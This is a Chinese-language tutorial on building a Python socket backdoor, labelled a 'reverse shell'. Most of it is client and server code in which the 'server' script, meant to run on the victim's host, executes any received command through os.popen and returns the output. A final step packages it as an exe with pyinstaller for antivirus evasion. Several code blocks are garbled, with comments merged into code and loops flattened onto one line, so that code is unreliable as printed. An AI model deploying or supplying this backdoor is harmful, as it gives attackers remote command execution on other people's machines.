Python 渗透测试:反弹 shell (反弹 后门 || 程序免杀)

什么叫 反弹 shell

反弹 shell (Reverse Shell) 是一种常见的渗透测试技术,它指的是受害者主机主动连接攻击者的主机,从而让攻击者获得对受害者主机的控制权。在一个典型的反弹 shell 攻击中,攻击者会在自己的主机上监听一个特定的端口,然后诱使目标主机主动连接到这个端口。当目标主机与攻击者的主机建立连接后,攻击者就可以通过这个连接获得目标主机的 shell 访问权限,从而进行进一步的渗透和控制。


目录:

什么叫 反弹 shell

反弹 shell 的工作原理如下:

反弹 shell 编写:

(1)基本知识:

客户端(后执行):

服务端(先运行服务端):

(2)执行命令,发送和接收命令.

客户端(后执行):

服务端(先运行服务端):

(3)实战 执行命令,发送和接收命令.

客户端(后执行):

服务端(把这个 Python 程序 拿到服务端执行):

(4)实战 执行命令,发送多条命令去服务端执行并返回执行后的结果.

客户端(后执行):

服务端(把这个 Python 程序 拿到服务端执行):

(5)如果 服务端没有 Python 环境,则需要打包为 exe 程序.(加做免杀)

服务端(把这个程序 拿到服务端执行):

客户端(后执行):


基础知识:

Python 的 socket 网络通讯图.(有涉及到通信都涉及到socket.)


反弹 shell 的工作原理如下:

(1)攻击者在自己的主机上监听一个特定的端口,等待目标主机的连接.(2)攻击者在目标主机上执行一段代码,让目标主机主动连接到攻击者的主机.(3)当连接建立后,攻击者就可以通过这个连接获得目标主机的 shell 访问权限.

反弹 shell 编写:

(1)基本知识:

客户端(后执行):
import socket # 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果s=socket.socket()                   # 建立 socket 
s.connect(("127.0.0.1",999))        # 连接
#cmd=input("请输入要执行的命令:")
s.send("ok".encode())               # 发送 .encode() 是编码的意思(发送比特流数据)
服务端(先运行服务端):
import socket# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去s=socket.socket()                 # 建立 socket
s.bind(("0.0.0.0",999))           # 绑定 当前地址
s.listen(5)                       # 监听:最多 5 个终端
sss,add=s.accept()                # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode()      # 接收数据, .decode 解码比特流数据.
print(data)                       # 接收数据,然后打印出来.


(2)执行命令,发送和接收命令.

客户端(后执行):
import socket # 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果s=socket.socket()                   # 建立 socket 
s.connect(("127.0.0.1",999))        # 连接
cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
s.send(cmd.encode())                # cmd 是执行的命令
data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
print(data)                         # 再把数据打印
服务端(先运行服务端):
import socket,os# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去s=socket.socket()                   # 建立 socket
s.bind(("0.0.0.0",999))             # 绑定 当前地址
s.listen(5)                         # 监听:最多 5 个终端
sss,add=s.accept()                  # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode()        # 接收数据, .decode 解码比特流数据.
s=os.popen(data).read()             # popen() 去执行这个结果,read()用来读取这个格式
sss.send(s.encode())                # send()把结果发送到客户端,encode()把发送数据要进行编码


(3)实战 执行命令,发送和接收命令.

客户端(后执行):
import socket # 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果s=socket.socket()                   # 建立 socket 
s.connect(("172.16.10.19",999))     # 连接( IP地址 写服务端的 IP地址 )
cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
s.send(cmd.encode())                # cmd 是执行的命令
data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
print(data)                         # 再把数据打印
服务端(把这个 Python 程序 拿到服务端执行):
import socket,os# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去s=socket.socket()                   # 建立 socket
s.bind(("0.0.0.0",999))             # 绑定 当前地址
s.listen(5)                         # 监听:最多 5 个终端
sss,add=s.accept()                  # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode()        # 接收数据, .decode 解码比特流数据.
s=os.popen(data).read()             # popen() 去执行这个结果,read()用来读取这个格式
sss.send(s.encode())                # send()把结果发送到客户端,encode()把发送数据要进行编码


(4)实战 执行命令,发送多条命令去服务端执行并返回执行后的结果.

客户端(后执行):
import socket # 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果ip=input("请输入服务端的 IP 地址:")s=socket.socket()                   # 建立 socket 
s.connect((ip,999))                 # 连接
while True:                             # 写个循环,让他为真(他就可以一直输入命令)cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.s.send(cmd.encode())                # cmd 是执行的命令data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.print(data)                         # 再把数据打印s.close()                               # 不为真的就关闭.(不执行就关闭)
服务端(把这个 Python 程序 拿到服务端执行):
import socket,os# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去s=socket.socket()                   # 建立 socket
s.bind(("0.0.0.0",999))             # 绑定 当前地址
s.listen(5)                         # 监听:最多 5 个终端
while True:                         # 写个循环,让他为真(他就可以一直执行命令和返回命令)sss,addr=s.accept()                  # 被动接受客户端的连接,等待连接的到来.while True:                         # 如果这里不加循环,上面的结果执行一次后,连接就会关闭。所以要让他一直保持开的状态.(为真 )data=sss.recv(1024).decode()        # 接收数据, .decode 解码比特流数据.s=os.popen(data).read()             # popen() 去执行这个结果,read()用来读取这个格式sss.send(s.encode())                # send()把结果发送到客户端,encode()把发送数据要进行编码s.close()                           #  # 不为真的就关闭.(不执行就关闭)

(5)如果 服务端没有 Python 环境,则需要打包为 exe 程序.(加做免杀)

1.py 就是服务端代码:pip install pyinstaller            // 下载 pyinstaller pyinstaller -F 1.py                // 1.py是要打包的exe文件,!!!记得打包成功后 exe 文件在当前目录的 dist 下.

 

服务端(把这个程序 拿到服务端执行):


客户端(后执行):
import socket # 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果ip=input("请输入服务端的 IP 地址:")s=socket.socket()                   # 建立 socket 
s.connect((ip,999))                 # 连接
while True:                             # 写个循环,让他为真(他就可以一直输入命令)cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.s.send(cmd.encode())                # cmd 是执行的命令data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.print(data)                         # 再把数据打印s.close()                               # 不为真的就关闭.(不执行就关闭)

   

   

  

学习链接:第158天:安全开发-Python-Socket编程&反弹Shell&分离免杀&端口探针&域名爆破_哔哩哔哩_bilibili

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1424679.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Vue3实战笔记(22)—路由Vue-Router 实战指南(路由传参)

文章目录 前言一、路由router-link二、路由传参1.query方式2.params方式3.props传参 总结 前言 vue-router 是 Vue.js 官方路由管理器。它和 Vue.js 核心深度集成,让用 Vue.js 构建单页应用变得易如反掌。 前面提到过简单的使用路由,直到上文使用404界面…

【找到所有数组中消失的数字】leetcode,python

很菜的写法: class Solution:def findDisappearedNumbers(self, nums: List[int]) -> List[int]:nlen(nums)#存1-Nnum_1[i for i in range(1,n1)]#预存数num_2[]nums.sort()for i in nums:num_1[i-1]0for i in num_1:if i!0:num_2.append(i)return num_2能过但是…

使用可接受gitlab参数的插件配置webhook

jenkins配置 安装Generic Webhook Trigger 配置远程触发令牌 勾选Print post content和Print contributed variables用于打印值 配置gitlab 选择新增webhook 配置webhook http://JENKINS_URL/generic-webhook-trigger/invoke,将JENKINS_URL修改成自己的jenkins地址 先保存…

基于网络爬虫技术的网络新闻分析(二)

目录 2 系统需求分析 2.1 系统需求概述 2.2 系统需求分析 2.2.1 系统功能要求 2.2.2 系统IPO图 2.2 系统非功能性需求分析 3 系统概要设计 3.1 设计约束 3.1.1 需求约束 3.1.2 设计策略 3.1.3 技术实现 3.3 模块结构 3.3.1 模块结构图 3.3.2 系统层次图 3.3.3…

C++笔试强训day24

目录 1.判断是不是平衡⼆叉树 2.最大子矩阵 3.小葱的01串 1.判断是不是平衡⼆叉树 链接 简单递归即可。 class Solution { public:// 高度int hight(TreeNode* pRoot){if (pRoot nullptr)return 0;int l hight(pRoot->left);int r hight(pRoot->right);return max…

电子邮箱是什么?付费电子邮箱和免费电子邮箱有什么区别?

注册电子邮箱前,有付费电子邮箱和免费电子邮箱两类选择。付费的电子邮箱和免费的电子邮箱有什么区别呢?区别主要在于存储空间、功能丰富度和售后服务等方面,本文将为您详细介绍。 一、电子邮箱是什么? 电子邮箱就是线上的邮局&a…

用友GRP-U8 bx_dj_check.jsp SQL注入漏洞复现(XVE-2024-10537)

0x01 免责声明 请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删…

2024年,诺基亚手机发售仅一天就售罄

在智能手机越来越同质化的今天,各家都只卷性能和相机,大火的 AI 对于咱来说好像实用性又不太大,机圈属实整的有点儿无聊。 不过在阿红这两天上网冲浪的时候,一个陌生又熟悉的名字闯入了我的视线,——诺基亚&#xff08…

ubuntu中如何删除常规匹配不到的乱码目录文件

原因是之前误操作创建了多个带空格的gerrit仓库的时候导致的服务器乱码,进入geriit服务器可以查看到如下的一个异常目录,常规rm -rf 操作的时候是匹配不到这个目录的。 这时候我们应该考虑使用inode的性质来匹配删除。 注:在Linux文件系统中…

如何在WordPress中启用两因素身份验证?

在WordPress中启用两因素身份验证方法:安装和激活WordFence安全性、启用两因素验证。 使用您可以从任何位置登录的任何门户,建议启用两个因素身份验证以增加帐户的安全性。 这样,即使有人可以正确猜测你的密码,它们仍然需要获得2…

【if条件、for循环、数据框连接、表达矩阵画箱线图】

编程能力,就是解决问题的能力,也是变优秀的能力 From 生物技能树 R语言基础第七节 文章目录 1.长脚本管理方式if(F){....}分成多个脚本,每个脚本最后保存Rdata,下一个脚本开头清空再加载 2.实战项目的组织方式方法(一&…

卷轴分红商城模式:适用于多种的商业营销模式

卷轴分红商城模式是一种基于区块链技术的去中心化积分商城系统,通过智能合约和数字资产分红实现积分流通和价值回馈,适用于多种场景。 什么是卷轴分红商城模式: 这是一个去中心化的积分商城系统,消费者在商城消费时,可…

Blender 导入资源包的例子

先到清华源下载资源包: Index of /blender/ | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror 具体地址:https://mirrors.tuna.tsinghua.edu.cn/blender/demo/asset-bundles/human-base-meshes/human-base-meshes-bundle-v1.1.0.zip 解压/hum…

AI预测体彩排3采取878定位大底=23策略+杀断组+杀组选+杀和尾+杀和值012缩水测试5月15日预测第1弹

昨天与一位玩排3的彩友通过视频直播的形式聊了下,受益匪浅,给我提供了一些比较有价值的建议,比如,对于878的定位策略,方向是没问题的,但是8783的话,还是缺乏一定的命中率,如果87823&…

不干人事的表达式:(void)0

assert是C语言的一个宏。在<assert.h>中可以找到它的定义&#xff1a; #ifdef NDEBUG#define assert(_Expression) ((void)0) #else /* !defined (NDEBUG) */// 省略... #endif /* !defined (NDEBUG) */ 其用法在“捕捉错误的assert”一文中已有说明。 决定assert是否…

【利用数组处理批量数据-谭浩强配套】(适合专升本、考研)

无偿分享学习资料&#xff0c;需要的小伙伴评论区或私信dd。。。 无偿分享学习资料&#xff0c;需要的小伙伴评论区或私信dd。。。 无偿分享学习资料&#xff0c;需要的小伙伴评论区或私信dd。。。 完整资料如下&#xff1a;纯干货、纯干货、纯干货&#xff01;&#xff01;…

数字集成电路物理设计[陈春章]——知识总结与精炼02

第二章 物理设计建库与验证 2.1 集成电路工艺与版图 自行了解&#xff0c;关于闩锁效应可查阅小编之前的文章。 2.2 设计规则检查&#xff08;DRC&#xff09; 定义&#xff1a;晶圆代工厂对各自不同工艺参数制定出满足芯片制造良率的同一工艺层及不同工艺层之间几何尺寸的…

镭速助力企业加密上传大文件

在当代的数字化社会中&#xff0c;海量数据已成为我们日常生活的一个不可分割的组成部分。尤其是对于企业来说&#xff0c;如何在互联网上安全地传输庞大数据文件&#xff0c;是一个至关重要的问题。本文将深入探讨镭速技术如何利用加密手段&#xff0c;安全地将大型数据文件上…

一种请求头引起的跨域问题记录(statusCode = 400/CORS)

问题表象 问题描述 当我们需要在接口的headers中添加一个自定义的变量的时候&#xff0c;前端的处理是直接在拦截器或者是接口配置的地方直接进行写&#xff0c;比如下面的这段比较基础的写法&#xff1a; $http({method: "post",url:constants.backend.SERVER_LOGIN…

用docker命令行操作远程的Dockerd daemon服务

本地安装 Dockerd 服务太耗本机磁盘空间了&#xff0c;共用已有的Dockerd服务能够节省一部分空间 修改 Dockerd 服务启动文件&#xff0c;增加TCP监听方式 Dockerd 服务默认监听方式为 Unix Domain Socket &#xff0c;只允许本机连接&#xff0c;想要能够远程连接&#xff0…